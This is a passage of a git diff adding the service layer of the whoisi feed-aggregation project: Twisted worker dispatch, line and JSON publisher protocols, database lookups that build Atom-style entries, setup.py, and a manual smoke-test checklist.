+"done" state depending on whether there was an error, the user needs
+to pick one of the feed urls or it's done.
+
+"error": An error happened.  Check the "error" field in the database
+for something useful to report as an error.
+
+"done": The scrape found one feed and it was added to the database.
+Check the "site_id" field for the site that it was connected to.
+
+"pick_url": We got more than one URL for a new site and we need the
+user to pick one of them.  This assumes that the web site is up and
+running and it will eventually poll and know to ask the user.  The web
+server will update the data in the data field in the database and
+reset the state to "got_url" once the user picks one of the URLs.
+
+
+
+
diff --git a/services/master/worker.py b/services/master/worker.py
new file mode 100644 (file)
index 0000000..3ecb90b
--- /dev/null
@@ -0,0 +1,323 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import reactor, defer
+from twisted.spread import pb
+from datetime import datetime
+
+import random
+import re
+
+import services.config as config
+
+work_hosts = None
+
+def get_work_hosts():
+    global work_hosts
+    work_hosts = []
+    hosts = config.get("controllers", "servers").split(",")
+    for i in hosts:
+        print("adding controller host %s" % i)
+        work_hosts.append(dict(host=config.get(i, "host"),
+                               port=config.getint(i, "port")))
+
+class Command:
+    """
+    A command is passed around from queue to queue to determine
+    ownership.
+    """
+    def __init__(self, master):
+        self.master = master
+        # Generate a UUID for this command to track it all the way through
+        self.uuid = id(self)
+        self.command = None
+        self.args = None
+        self.start = None
+        self.d = defer.Deferred()
+        self.work_d = None
+        self.worker = None
+        self.site_id = None
+
+    # override if you need to set up your own args or have different
+    # named callbacks
+    def startProcess(self, id):
+        self.id = id
+        self.args = [self.id]
+        self.addCommand()
+        self.d.addCallback(self.done)
+        self.d.addErrback(self.error)
+
+    # This will try to lock based on the site_id if it's set
+    def getLock(self):
+        if self.site_id:
+            return self.master.site_lock.getLock(self.site_id)
+
+        return True
+
+    def releaseLock(self):
+        if self.site_id:
+            self.master.site_lock.releaseLock(self.site_id)
+
+    def addCommand(self):
+        self.master.work_manager.addCommand(self)
+
+    def setupHandlers(self):
+        self.work_d.addCallback(self.workerDone)
+        self.work_d.addErrback(self.workerError)
+
+    def workerDone(self, *args, **kw):
+        print("done: %s %s" % (self.command, self.uuid))
+        self.releaseLock()
+        self.worker.commandComplete(self.uuid)
+        self.d.callback(*args, **kw)
+
+    def workerError(self, failure):
+        print("failed: %s %s %s" % (self.command, self.uuid, failure))
+        self.releaseLock()
+        # If we got a PBConnectionLost then the command will be
+        # requeued by the workerFailed handler
+        if (failure.check(pb.PBConnectionLost)):
+            return
+
+        print("deleting command")
+        self.worker.commandFailed(self.uuid)
+
+        self.d.errback(failure)
+
+class WorkerFactory(pb.PBClientFactory):
+    def init(self, worker):
+        self.worker = worker
+
+    def clientConnectionLost(self, connector, reason, reconnecting=0):
+        print("lost connection to worker")
+        self.worker.connectionFailed(reason)
+        pb.PBClientFactory.clientConnectionLost(self, connector, reason, reconnecting)
+
+class Worker:
+    """
+    A worker contains a list of commands that are in progress for a
+    particular worker.  It also contains the connection to that worker
+    and will reconnect if it goes down.  If a worker shows up as
+    failed it will also remove things from its queue and stuff them
+    back into the work manager's queue for dispatching to other
+    workers.
+    """
+    def __init__(self, manager, host, port):
+        self.manager = manager
+        self.factory = WorkerFactory()
+        self.factory.init(self)
+        self.host = host
+        self.port = port
+        self.commands = {}
+        self.root = None
+
+    def connect(self):
+        """
+        Start a connection to the worker and let the manager know when
+        we're ready to work.
+        """
+        reactor.connectTCP(self.host, self.port, self.factory, timeout=5)
+        d = self.factory.getRootObject()
+        d.addCallback(self.gotRoot)
+        d.addErrback(self.getRootFailed)
+
+    def gotRoot(self, root):
+        print("connected: %s:%s" % (self.host, self.port))
+        self.root = root
+        self.manager.workerReady(self)
+
+    def getRootFailed(self, failure):
+        self.connectionFailed(failure)
+
+    def acceptingWork(self):
+        if len(self.commands) < 80:
+            return True
+
+        return False
+
+    def doCommand(self, command):
+        command.start = datetime.utcnow()
+        self.commands[command.uuid] = command
+        self.dispatchCommand(command)
+
+    def commandComplete(self, uuid):
+        command = self.commands[uuid]
+        delta = datetime.utcnow() - command.start
+        del self.commands[uuid]
+        print("finished: %s in %d seconds" % (uuid, delta.seconds))
+        # call this, we've probably got a spare slot now - no reason
+        # to wait
+        self.manager.dispatchCommands()
+
+    def commandFailed(self, uuid):
+        print("failed: %s" % uuid)
+        del self.commands[uuid]
+
+    def dispatchCommand(self, command):
+        print("dispatch: %s:%s %s %s %s" % (self.host, self.port,
+                                            command.command, command.uuid,
+                                            " ".join([str(x) for x in command.args])))
+
+        command.worker = self
+        try:
+            command.work_d = self.root.callRemote(command.command, command.uuid,
+                                                  *command.args)
+        except pb.DeadReferenceError:
+            # the worker went away - clean up and re-raise to release
+            # locks
+            self.connectionFailed(None)
+            raise
+
+        command.setupHandlers()
+
+    def connectionFailed(self, reason):
+        #print("not connected %s:%s (%s)" % (self.host, self.port, reason.getErrorMessage()))
+        # convert from dict to array
+        self.manager.workerFailed(self, [self.commands[x] for x in self.commands.keys()])
+        self.commands = {}
+
+class WorkManager:
+    """
+    The work manager dispatches jobs to various workers.  It's
+    basically around to maintain a queue.  At some point in the future
+    it will probably be smart about where to send jobs.  Right now it
+    just picks a random worker.
+
+    In the future we need to a lot of stuff at this point:
+
+    - Rate limiting - in case of DOS or to handle really big jobs, like
+      re-summarizing all the sites in the database for a new format.
+    """
+    def __init__(self):
+        self.live_workers = []
+        self.connecting_workers = []
+        self.dead_workers = []
+        self.commands = []
+
+    def start(self):
+        """
+        Start the manager by connecting to the workers and begin
+        dispatching commands.
+        """
+        global work_hosts
+        if not work_hosts:
+            get_work_hosts()
+
+        # Create the workers and start them connecting
+        for i in work_hosts:
+            w = Worker(self, i["host"], i["port"])
+            self.dead_workers.append(w)
+
+        self.reviveDeadWorkers()
+
+    def stop(self):
+        """
+        Disconnect from the workers and stop executing commands.
+        """
+        pass
+
+    def addCommand(self, command):
+        """
+        Add a command and have it dispatched to a worker.
+        """
+        self.commands.append(command)
+        self.dispatchCommands()
+        return command.d
+
+    def dispatchCommands(self):
+        """
+        Dispatch commands to workers.  Just using round robin for now.
+        """
+        print("dispatchCommands")
+        # If there are no live workers we just let the command queue
+        # sit.
+        if len(self.live_workers) == 0:
+            print("no live workers")
+            return
+
+        # For all of the commands that we have in our queue try and
+        # hand them out to a random worker, as long as that worker
+        # isn't already full and the command gives back a good lock
+        rand_workers = random.sample(self.live_workers, len(self.live_workers))
+        for i in rand_workers:
+            if i.acceptingWork():
+                for command in self.commands:
+                    if i.acceptingWork():
+                        # have to be careful here not to end with a stuck lock
+                        try:
+                            if command.getLock():
+                                i.doCommand(command)
+                                self.commands.remove(command)
+                        except:
+                            command.releaseLock()
+
+        print("dispatchCommands done")
+
+    def reviveDeadWorkers(self):
+        """
+        Try to connect to dead workers.
+        """
+        print("reviveDeadWorkers")
+        self.connecting_workers.extend(self.dead_workers)
+        starting_workers = self.dead_workers
+        self.dead_workers = []
+        for i in starting_workers:
+            i.connect()
+
+    def getNumCommandsWorking(self):
+        """
+        Returns the number of commands in process by workers.
+        """
+        total = 0
+        for i in self.live_workers:
+            total = total + len(i.commands)
+        return total
+
+    def reQueueCommands(self, commands):
+        # We just got commands back, hang on to them in case we fail
+        # to remove workers or generate an exception here.
+        self.commands.extend(commands)
+
+    def workerFailed(self, worker, commands):
+        """
+        Callback when a worker fails.  Moves the worker from the list
+        of alive or connecting workers to the dead list.
+        """
+        # requeue these commands
+        self.reQueueCommands(commands)
+
+        # Check to see if the worker is on the live list then the
+        # connecting list
+        try:
+            self.live_workers.remove(worker)
+        except ValueError:
+            self.connecting_workers.remove(worker)
+
+        self.dead_workers.append(worker)
+
+    def workerReady(self, worker):
+        """
+        Callback for when a worker is connected and ready to accept
+        commands.
+        """
+        self.connecting_workers.remove(worker)
+        self.live_workers.append(worker)
diff --git a/services/protocol/__init__.py b/services/protocol/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/services/protocol/childlistener.py b/services/protocol/childlistener.py
new file mode 100644 (file)
index 0000000..ae714e4
--- /dev/null
@@ -0,0 +1,62 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import protocol
+from twisted.protocols import basic
+import sys
+import re
+
+class ChildListener(basic.LineReceiver):
+    """
+    Simple class that sets up a child as a line listener for new
+    commands from the process that started it.
+    """
+
+    def lineReceived(self, line):
+        if line == "quit":
+            self.transport.loseConnection()
+            return
+
+        # parse out command/argument pair and call the runCommand
+        try:
+            command, arg = line.split()
+        except:
+            self.sendLine("bad command")
+            return
+        # now that we have the pair, run the command
+        try:
+            self.runCommand(command, arg)
+        except AttributeError:
+            pass
+
+    def dataReceived(self, data):
+        """
+        This is just here to normalize terminal input (only \n)
+        without having to have a \r\n at the end of the line.
+        """
+        newData = re.sub(r"(\r\n|\n)", "\r\n", data)
+        basic.LineReceiver.dataReceived(self, newData)
+
+class ChildListenerFactory(protocol.ServerFactory):
+    protocol = ChildListener
+
+
diff --git a/services/protocols.txt b/services/protocols.txt
new file mode 100644 (file)
index 0000000..6bec5ab
--- /dev/null
@@ -0,0 +1,18 @@
+Controlling the controller
+
+- Runs on port 5001
+- Simple line protocols
+- Commands
+  - Global commands:
+    - quit: closes the local connection
+    - shutdown: shuts down the controller and any subprocesses
+
+  - Batch commands:
+    - html-feed-scrape uuid url: downloads a url and tries to scrape out
+        any feeds that are in the <head> element
+    - feed-refresh uuid url: goes and tries to refresh an rss feed
+
+- Replies
+  All replies take the form of <command> <uuid> [finished|failed]
+
+
diff --git a/services/publisher/__init__.py b/services/publisher/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/services/publisher/lookup.py b/services/publisher/lookup.py
new file mode 100644 (file)
index 0000000..a0ea552
--- /dev/null
@@ -0,0 +1,203 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from collections import deque
+
+class MasterLookupQueue:
+    """
+    This class is a very simple queue that looks up database
+    information from master requests, processes then and then sends
+    them out to all connected and active listeners.
+    """
+    def __init__(self, dcm, ps):
+        self.dcm = dcm # database manager
+        self.ps = ps   # publisher service
+        self.incoming = deque()
+        self.lookupInProgress = False
+
+    def addItem(self, item):
+        self.incoming.append(item)
+        self.maybeStartLookup()
+
+    def maybeStartLookup(self):
+        if self.lookupInProgress:
+            return
+
+        # grab the item out if the queue if there's anything there
+        i = None
+        try:
+            i = self.incoming[0]
+        except IndexError:
+            return
+
+        self.lookupInProgress = True
+
+        # look! up! the! data!
+        q = """
+            SELECT site_history.id,
+                   site_history.title,
+                   site_history.link,
+                   site_history.entry_id,
+                   site_history.added,
+                   site_history.published,
+                   site_history.updated,
+                   site_history.summary,
+                   site_history.content,
+                   site_history.display_cache,
+                   site.id,
+                   site.url,
+                   site.type,
+                   site.feed,
+                   site.title,
+                   person.name,
+                   person.id
+                   FROM
+                   site_history, site, person
+                   WHERE
+                   site_history.id = %s
+                   AND
+                   site_history.site_id = site.id
+                   AND
+                   site.person_id = person.id
+            """
+        print("start lookup id %s" % i)
+        d = self.dcm.runQuery(q, i)
+        d.addCallback(self.lookupDone)
+        d.addErrback(self.lookupFailed)
+
+    def lookupDone(self, results):
+        # remove this from the lookup list
+        self.incoming.popleft()
+        self.lookupInProgress = False
+
+        print("lookup done %s" % results)
+
+        r = results[0]
+
+        sh_id = r[0]
+        sh_title = r[1]
+        sh_link = r[2]
+        sh_entry_id = r[3]
+        sh_added = r[4]
+        sh_published = r[5]
+        sh_updated = r[6]
+        sh_summary = r[7]
+        sh_content = r[8]
+        sh_display_cache = r[9]
+        s_id = r[10]
+        s_url = r[11]
+        s_type = r[12]
+        s_feed = r[13]
+        s_title = r[14]
+        p_name = r[15]
+        p_id = r[16]
+
+        # assemble the atom entry
+        atom_entry = dict()
+        atom_entry["type"] = "atom-entry"
+        atom_entry["id"] = r[0] # site_history.id
+
+        # actual entry
+        e = dict()
+        atom_entry["atom-entry"] = e
+
+        if sh_title is not None:
+            e["title"] = sh_title
+        if sh_link is not None:
+            e["link"] = sh_link
+        if sh_entry_id is not None:
+            e["entry_id"] = sh_entry_id
+        if sh_published is not None:
+            e["published"] = sh_published.isoformat()
+        if sh_updated is not None:
+            e["updated"] = sh_updated.isoformat()
+        if sh_summary is not None:
+            e["summary"] = sh_summary
+        if sh_content is not None:
+            e["content"] = sh_content
+
+        # author info
+        p = dict()
+        atom_entry["author"] = p
+
+        p["name"] = p_name
+
+        # extensions
+        w = dict()
+        atom_entry["exts"] = dict()
+        atom_entry["exts"]["whoisi.com"] = w
+
+        w["added"] = sh_added.isoformat()
+        w["type"] = s_type
+        w["person_id"] = p_id
+        w["site_id"] = s_id
+
+#        type="atom-entry"
+#        entry
+#          title
+#          link
+#          entry_id
+#          published
+#          updated
+#          summary
+#          content
+#        author
+#          name
+#        extensions
+#          whoisi.com
+#            added
+#            thumbnail
+#            type
+#            person_id
+#            site_id
+
+        self.ps.siteHistoryLookupDone(atom_entry)
+
+        self.maybeStartLookup()
+
+    def lookupFailed(self, failure):
+        print("lookup failed %s" % failure.getErrorMessage())
+
+        # remove this from the lookup list
+        self.incoming.popleft()
+        self.lookupInProgress = False
+        self.maybeStartLookup()
+
+# stuff we need
+# site_history.id
+# site_history.title
+# site_history.link
+# site_history.entry_id
+# site_history.added
+# site_history.published
+# site_history.updated
+# site_history.summary
+# site_history.content
+# site_history.display_cache
+#
+# site.url
+# site.type
+# site.feed
+# site.title
+#
+# person.name
+# 
diff --git a/services/publisher/protocol.py b/services/publisher/protocol.py
new file mode 100644 (file)
index 0000000..4fa75b6
--- /dev/null
@@ -0,0 +1,215 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import protocol
+import simplejson
+import re
+
+# idle state
+idle_state = simplejson.dumps(dict(type="state-change",
+                                   state="idle"))
+idle_state_len = len(idle_state)
+
+# bring on the firehose
+firehose_state = simplejson.dumps(dict(type="state-change",
+                                       state="firehose"))
+firehose_state_len = len(firehose_state)
+
+class PublisherProtocol(protocol.Protocol):
+    STATE_START = 1
+    STATE_IDLE = 2
+    STATE_FIREHOSE = 3
+    STATE_CLOSED = 4
+
+    MODE_HEADER = 1
+    MODE_BODY = 2
+
+    def __init__(self):
+        self.len = 0
+        self.type = None
+        self.mode = self.MODE_HEADER
+        self.buf = ""
+
+    def dataReceived(self, data):
+        """
+        The basic.LineReceiver class can get into bad recursion
+        problems with large back buffers so we do this by hand using a
+        simple iteration instead of using recusion.
+        """
+        self.buf = self.buf + data
+
+        while len(self.buf):
+            if self.mode == self.MODE_HEADER:
+                line = ""
+                try:
+                    line, self.buf = self.buf.split("\r\n", 1)
+                except ValueError:
+                    # check to make sure that we're not getting a line
+                    # that's too long
+                    if len(self.buf) > 64:
+                        self.closeConnection("line_too_long")
+                    # return in any case because we haven't found our header
+                    return
+
+                m = re.match("^(ctl|msg) (\d+)", line)
+                if m is None:
+                    self.closeConnection("unknown_message")
+                    self.buf = ""
+                    return
+
+                # set our type and length and let the loop continue
+                self.type = str(m.group(1))
+                self.len = int(m.group(2))
+
+                # make sure someone doesn't send us a buffer that's
+                # too big - 128kb for now.
+                if self.len > 134217728:
+                    self.closeConnection("message_too_big")
+                    return
+
+                self.mode = self.MODE_BODY
+                continue
+
+            else:
+                # see if we have enough data
+                l = len(self.buf)
+                if l < self.len:
+                    return
+
+                # we only need some of the data
+                l = self.len
+                d = self.buf[:l]
+                self.buf = self.buf[l:]
+
+                try:
+                    msg = simplejson.loads(d)
+                except:
+                    self.closeConnection("invalid_json")
+                    return
+
+                if self.type == 'msg':
+                    self.gotMsg(msg)
+                else:
+                    self.gotCtlMsg(msg)
+
+                # reset our data and let the loop continue
+                self.len = 0
+                self.type = None
+                self.mode = self.MODE_HEADER
+                    
+    def closeConnection(self, reason):
+        e = simplejson.dumps(dict(type="state-change",
+                                  state="closing",
+                                  reason=reason))
+        l = len(e)
+        self.writeCtlMsg(e, l)
+        self.transport.loseConnection()
+
+    def protocolError(self):
+        self.closeConnection("protocol_error")
+
+    def writeCtlMsg(self, msg, msg_len=None):
+        """
+        Writes a normal message.  Pass in the message and optionally
+        the length.  This method will automatically add the \r\n and
+        add 2 to the length.
+        """
+        if msg_len is None:
+            msg_len = len(msg)
+
+        try:
+            self.transport.write("ctl %d\r\n" % (msg_len + 2))
+            self.transport.write(msg)
+            self.transport.write("\r\n")
+        except:
+            # connectionLost should clean up everything
+            pass
+
+    def writeMsg(self, msg, msg_len=None):
+        """
+        Writes a normal message.  Pass in the message and optionally
+        the length.  This method will automatically add the \r\n and
+        add 2 to the length.
+        """
+        if msg_len is None:
+            msg_len = len(msg)
+
+        try:
+            self.transport.write("msg %d\r\n" % (msg_len + 2))
+            self.transport.write(msg)
+            self.transport.write("\r\n")
+        except:
+            # connectionLost should clean up everything
+            pass
+
+    def gotCtlMsg(self, msg):
+        try:
+            if msg["type"] == "state-change":
+                self.setState(msg["state"], msg)
+        except:
+            pass
+
+        self.handleControlMessage(msg)
+
+    def gotMsg(self, msg):
+        """
+        Override me to handle a normal message.
+        """
+        self.handleMessage(msg)
+
+    def sendState(self, state):
+        if state == self.STATE_IDLE:
+            self.writeCtlMsg(idle_state, idle_state_len)
+        elif state == self.STATE_FIREHOSE:
+            self.writeCtlMsg(firehose_state, firehose_state_len)
+
+    def setState(self, state, msg):
+        if state == "firehose":
+            self.state = self.STATE_FIREHOSE
+        elif state == "idle":
+            self.state = self.STATE_IDLE
+        elif state == "closing":
+            self.state = self.STATE_CLOSED
+            self.transport.loseConnection()
+        else:
+            self.protocolError()
+
+        # publish the fact that the state changed
+        self.stateChanged(self.state)
+
+    def stateChanged(self, state):
+        """
+        Override to track state changes.
+        """
+        pass
+
+    def handleMessage(self, msg):
+        """
+        Override to handle normal messages.
+        """
+        pass
+
+    def handleControlMessage(self, msg):
+        """
+        Override to handle control messages.
+        """
+        pass
diff --git a/services/publisher/server.py b/services/publisher/server.py
new file mode 100644 (file)
index 0000000..5940cc6
--- /dev/null
@@ -0,0 +1,65 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import protocol
+from services.publisher.protocol import PublisherProtocol
+import simplejson
+
+# for when a client connects
+announce_dict = dict(type="hello",
+                     major_version=1, minor_version=1,
+                     protocols=["firehose"])
+announce = simplejson.dumps(announce_dict)
+announce_len = len(announce)
+
+class PublisherServerProtocol(PublisherProtocol):
+    def __init__(self, ps):
+        self.ps = ps
+        self.state = self.STATE_IDLE
+        PublisherProtocol.__init__(self)
+
+    def stateChanged(self, state):
+        if state == self.STATE_FIREHOSE:
+            print("client set server to firehose mode.")
+            self.sendState(self.STATE_FIREHOSE)
+
+    def connectionLost(self, reason):
+        self.ps.removeClient(self)
+        # clean up
+        self.ps = None
+        self.factory = None
+
+    def connectionMade(self):
+        self.ps.addClient(self)
+        self.writeCtlMsg(announce, announce_len)
+        self.sendState(self.STATE_IDLE)
+
+class PublisherServerFactory(protocol.ServerFactory):
+    protocol = PublisherServerProtocol
+
+    def __init__(self, ps):
+        self.ps = ps
+
+    def buildProtocol(self, addr):
+        p = self.protocol(self.ps)
+        p.factory = self
+        return p
diff --git a/setup.py b/setup.py
new file mode 100644 (file)
index 0000000..845dd3e
--- /dev/null
+++ b/setup.py
@@ -0,0 +1,91 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from setuptools import setup, find_packages
+from turbogears.finddata import find_package_data
+
+import os
+execfile(os.path.join("whoisi", "release.py"))
+
+packages=find_packages()
+package_data = find_package_data(where='whoisi',
+    package='whoisi')
+if os.path.isdir('locales'):
+    packages.append('locales')
+    package_data.update(find_package_data(where='locales',
+        exclude=('*.po',), only_in_packages=False))
+
+setup(
+    name="whoisi",
+    version=version,
+
+    # uncomment the following lines if you fill them out in release.py
+    #description=description,
+    #author=author,
+    #author_email=email,
+    #url=url,
+    #download_url=download_url,
+    #license=license,
+
+    install_requires=[
+        "TurboGears >= 1.0.3.2",
+    ],
+    scripts=["start-whoisi.py"],
+    zip_safe=False,
+    packages=packages,
+    package_data=package_data,
+    keywords=[
+        # Use keywords if you'll be adding your package to the
+        # Python Cheeseshop
+
+        # if this has widgets, uncomment the next line
+        # 'turbogears.widgets',
+
+        # if this has a tg-admin command, uncomment the next line
+        # 'turbogears.command',
+
+        # if this has identity providers, uncomment the next line
+        # 'turbogears.identity.provider',
+
+        # If this is a template plugin, uncomment the next line
+        # 'python.templating.engines',
+
+        # If this is a full application, uncomment the next line
+        # 'turbogears.app',
+    ],
+    classifiers=[
+        'Development Status :: 3 - Alpha',
+        'Operating System :: OS Independent',
+        'Programming Language :: Python',
+        'Topic :: Software Development :: Libraries :: Python Modules',
+        'Framework :: TurboGears',
+        # if this is an application that you'll distribute through
+        # the Cheeseshop, uncomment the next line
+        # 'Framework :: TurboGears :: Applications',
+
+        # if this is a package that includes widgets that you'll distribute
+        # through the Cheeseshop, uncomment the next line
+        # 'Framework :: TurboGears :: Widgets',
+    ],
+    test_suite='nose.collector',
+    )
+
diff --git a/smoketest.txt b/smoketest.txt
new file mode 100644 (file)
index 0000000..3d9b08e
--- /dev/null
@@ -0,0 +1,56 @@
+1. Adding a new person
+
+. Don't fill out the name
+. Don't fill out the url
+. Add a person and miss the captcha
+. Add a person and fill out the captcha and name
+
+Sites:
+
+. Add a site that has an invalid URL
+  http://not.0xdeadbeef.com
+. Add a site that has a bad feed
+  http://twitter.com/asadotzler
+. Add a flickr feed
+  http://www.flickr.com/photos/28185070@N05/
+. Add a picasa feed
+  http://picasaweb.google.com/thesarcasmsociety
+. Add a weblog feed
+  http://slashrandom.wordpress.com/
+. Add an rss feed
+  http://randomvandal.wordpress.com/feed/
+. Add a twitter feed
+  http://twitter.com/onehalfamazing
+. Add a linkedin site with a description:
+  http://www.linkedin.com/pub/8/661/720
+. Add a linkedin site without a description:
+  http://www.linkedin.com/pub/1/166/b36
+. Add with a site that requires picking a feed
+  http://blog.ekiga.net
+. Add a site that has a duplicate feed in the database
+  http://www.0xdeadbeef.com/weblog/?feed=rss2
+. Add a site that has a duplicate entry in the database
+  http://www.0xdeadbeef.com/weblog/?p=382
+
+. ? Unicode tests
+
+2. Editing a person person
+
+. Add a site but get the captcha wrong
+. Go through the types of sites
+
+. ? Unicode tests
+
+. Remove a site
+
+3. Add aliases and names
+
+. Add an alias
+. Remove an alias
+. Edit a name
+
+4. Search
+
+. Search for a group "mozilla:"
+. Search for an event "@fisl2008
+. Search by name
diff --git a/sources/apple-touch-icon.png b/sources/apple-touch-icon.png
new file mode 100644 (file)
index 0000000..28921dc
Binary files /dev/null and b/sources/apple-touch-icon.png differ
diff --git a/sources/favicon.ico b/sources/favicon.ico
new file mode 100644 (file)
index 0000000..36d443b
Binary files /dev/null and b/sources/favicon.ico differ
diff --git a/sources/favicon.png b/sources/favicon.png
new file mode 100644 (file)
index 0000000..53e8f8f
Binary files /dev/null and b/sources/favicon.png differ
diff --git a/sources/whoisi-100.png b/sources/whoisi-100.png
new file mode 100644 (file)
index 0000000..1fe2ea3
Binary files /dev/null and b/sources/whoisi-100.png differ
diff --git a/sources/whoisi-150.png b/sources/whoisi-150.png
new file mode 100644 (file)
index 0000000..5d8c565
Binary files /dev/null and b/sources/whoisi-150.png differ
diff --git a/sources/whoisi-200.png b/sources/whoisi-200.png
new file mode 100644 (file)
index 0000000..8b8928d
Binary files /dev/null and b/sources/whoisi-200.png differ
